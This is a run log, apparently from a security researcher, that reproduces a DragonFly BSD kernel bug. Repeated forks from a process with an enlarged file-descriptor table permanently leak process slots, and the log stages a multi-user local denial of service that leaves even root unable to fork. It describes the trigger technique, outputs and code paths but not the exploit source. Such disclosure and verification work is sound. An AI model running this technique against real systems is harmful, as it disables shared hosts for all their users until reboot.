DF-0032 / run.log
================================================================================
DF-0032 โ DECISIVE RUN LOG: leak trigger + system-wide DoS demonstration
================================================================================
Guest: DragonFly 6.5-DEVELOPMENT #1 Mon Jun 29 14:18:01 UTC 2026 (X86_64_GENERIC)
physmem=2110652416 (2GB) kvm_size=8795004596224 (~8TB)
kern.maxproc=4036 kern.maxprocperuid=1009
kern.maxfiles=64576 kern.maxfilesperproc=16144
cc 8.3 [DragonFly]
--------------------------------------------------------------------------------
[0] PRISTINE BASELINE (post vm.sh reset to clean-install)
--------------------------------------------------------------------------------
$ vmstat -m | grep -E 'proc|lwp|subproc|file_desc'
proc 25 0.99M 0 195M 791
lwp 34 21.2K 0 195M 811
subproc 48 111K 0 195M 1.56K
file_desc 28 27.0K 0 195M 807
$ ps ax | wc -l
146
(M_FILEDESC per-type ks_limit = kmem_lim_size()/10 = min(2GB,8TB)/10 = ~195MB.)
--------------------------------------------------------------------------------
[1] ORIGINAL PoC (fork_leak.c, mmap pressure) โ DOES NOT TRIGGER THE BUG
--------------------------------------------------------------------------------
$ cc -o fork_leak fork_leak.c && ./fork_leak (12s timeout)
[*] memory pressure applied; hammering fork() (RFFDG)
(no ENOMEM observed; guest still up)
$ vmstat -m | grep file_desc
file_desc 32 31.1K 0 195M 1.94M <- unchanged
=> mmap pressure does NOT touch the kernel M_FILEDESC pool. The original PoC's
trigger mechanism is wrong; it only causes user-VM OOM, not the fdcopy leak.
--------------------------------------------------------------------------------
[2] INSTRUMENTED TRIGGER (exhaust.c: grow fd table via dup2, then fork RFFDG)
-- fdcopy() failure => fork() returns ENOMEM (kern_fork.c:553) = LEAK MARKER
--------------------------------------------------------------------------------
$ ./exhaust
[*] RLIMIT_NPROC(cur) = 1009
[*] Phase 1: grow this proc's fd_files[] table via dup2()
[*] grew fd table to fd=14976 (fd_files[] ~234KB per fdcopy)
[*] Phase 2: fork() children (RFFDG) to accumulate M_FILEDESC
[*] watching for fork()==ENOMEM (the fdcopy-failure leak marker)
[!!!] ENOMEM from fork() -- fdcopy failure leak TRIGGERED at child 259
[!] first EAGAIN after 259 children (RLIMIT_NPROC / maxproc)
[*] summary: ok=259 eagain=51 enomem=705 other=0
[!!!] BUG TRIGGERED: fork() returned ENOMEM (fdcopy failure)
Parallel root sampling during the slow variant caught the failure moment:
[t=57] file_desc=18.0M proc=51
[t=59] file_desc=176M proc=261 <- M_FILEDESC reached its ~195MB ks_limit
=> fdcopy's M_NULLOK kmalloc of struct filedesc returned NULL
(kern_slaballoc.c:873: ttl >= ks_limit && M_NULLOK => return NULL)
--------------------------------------------------------------------------------
[3] LEAK CONFIRMED โ malloc-type counts after the trigger (children reaped)
--------------------------------------------------------------------------------
BEFORE: proc=25 lwp=34 subproc=48 file_desc=28 ps ax=146
AFTER : proc=744 lwp=34 subproc=1450 file_desc=28 ps ax=146
^^^^^ ^^^^^^^^^^
+719 struct proc +0 (file_desc unchanged => newfdp returned NULL,
PERMANENTLY leaked so NO filedesc was allocated; p2->p_fd stays NULL)
(invisible to ps: lwp unchanged => leak point is BEFORE lwp_fork1
SIDL orphans) (kern_fork.c:674), exactly at fdcopy (:551)
Decoding the leak against the code trace (kern_fork.c):
+719 M_PROC p2 kmalloc'd (444), never torn down
+1402 M_SUBPROC p2->p_uidpcpu kmalloc'd (475), never freed
+0 M_LWP lwp_fork1 (674) is AFTER fdcopy -> never reached
+0 M_FILEDESC fdcopy's newfdp returned NULL -> no filedesc allocated
+0 visible ps leaked procs are SIDL; allproc scans skip them
nprocs++ (415) and chgproccnt++ (421) NEVER decremented (done: at 724-732
only releases tokens). Matches the finding's path line-for-line.
--------------------------------------------------------------------------------
[4] PERMANENCE โ leaks do NOT recover after the attacker exits
--------------------------------------------------------------------------------
(minutes after the trigger, attacker process gone, children reaped:)
$ vmstat -m | grep proc
proc 744 1.86M 0 195M 887
=> +719 leaked struct proc persist until reboot. nprocs is permanently elevated.
--------------------------------------------------------------------------------
[5] SYSTEM-WIDE DoS โ multi-uid accumulation toward maxproc=4036
--------------------------------------------------------------------------------
Each unprivileged uid is capped at ~maxprocperuid (1009) leaked system slots by
the per-uid chgproccnt (also leaked). So a single user permanently burns ~700-
1000 SYSTEM-WIDE maxproc slots; ~4-6 uids exhaust all 4036.
Staged attack (proc Count == approximate global nprocs; ps ax stays 146):
baseline : proc=25 ps=146
maxx : proc=732 (+707 leak)
u1002 : proc=1.41K (+678)
u1003 : proc=2.10K (+690)
u1004 : proc=2.79K (+690)
u1005 : proc=3.48K (+690)
u1006 : proc=3.68K (+203) <- fewer: system nprocs check (kern_fork.c:402)
now blocks non-root forks BEFORE fdcopy
u1007 : enomem=0 <- system too close to ceiling to reach fdcopy
Every exhaust run printed:
[*] summary: ok=259 eagain=51 enomem=705 other=0
[!!!] BUG TRIGGERED: fork() returned ENOMEM (fdcopy failure)
--------------------------------------------------------------------------------
[6] ROOT FORK-BLOCKED โ system-wide DoS proven
--------------------------------------------------------------------------------
With nprocs permanently at ~3680/4036, run a root fork-bomb that keeps children
alive until fork() fails:
$ /root/forktest_bomb
forktest_bomb: root fork() EAGAIN after 272 children (errno=35 Resource temporarily unavailable)
forktest_bomb: ROOT RESULT ok=272 eagain=3 (clean system would allow ~4036)
=> ROOT can fork only ~272 children (vs ~3890 on a clean system): a ~93%
collapse of system-wide fork capacity, and root itself is fork-blocked.
Only ~4-6 unprivileged users are needed to push nprocs to maxproc, after
which NO process (including root) can fork/vfork/create threads until reboot.
Kernel log (dmesg) corroborates:
2 maxproc limit exceeded by uid 0, please see tuning(7) and login.conf(5).
26 maxproc limit of 969 exceeded by "exhaust" uid 1001 ...
26 maxproc limit of 969 exceeded by "exhaust" uid 1002 ...
... (uids 1003/1004/1005/1006/1007)
================================================================================
VERDICT: REPRODUCED. Real unprivileged local system-wide fork-DoS.
The bug (missing p2 teardown on fork1()'s fdcopy-failure path, kern_fork.c:552-
554 -> done: 724-732) is confirmed; the per-type M_FILEDESC ks_limit is reachable
from an unprivileged user via fd-table amplification, fdcopy's M_NULLOK kmalloc
returns NULL, and each failure permanently leaks a struct proc + a system-wide
maxproc slot + a per-uid proc slot.
================================================================================